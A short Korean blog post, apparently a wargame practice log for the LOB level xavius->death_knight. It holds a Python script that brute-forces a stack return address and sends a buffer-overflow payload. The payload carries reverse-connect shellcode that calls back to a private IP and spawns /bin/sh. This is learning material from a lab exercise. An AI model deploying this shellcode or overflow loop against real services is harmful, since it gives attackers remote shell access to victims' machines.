바로 앞장에서 리버스 커넥스 쉘코드 만드는건 써놨고, http://qkqhxla1.tistory.com/251
http://w007.tistory.com/entry/LOB-xavius-deathknight를 참조해서 되는 코드는 만들었는데 이게 왜
되는지는 연구를 해봐야겠다.
왜 ret를 알수 없어서 브루트포싱해야한다는말인지 모르겠다.
이곳저곳 찾아보며 단서를 얻어본 결과 gdb로 실행할수 없어서 그런듯 싶다.
# -*- encoding: cp949 -*- import socket buf = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\xc0\xa8\xdb\x8f\x66\x68\x1f\x90\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" for i in range(255,0,-1): for j in range(1,256,10): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.253.135',6666)) p = "a"*44+chr(j)+chr(i)+"\xff\xbf"+buf s.send(p) s.close()
'systemhacking > practice' 카테고리의 다른 글
fedoracore 3 gate->iron_golem (0) | 2015.02.15 |
---|---|
io.smash the stack 1~5 (0) | 2015.02.12 |
lob nightmare->xavius (0) | 2015.01.30 |
lob succubus->nightmare (0) | 2015.01.30 |
lob zombie_assassin->succubus (0) | 2015.01.29 |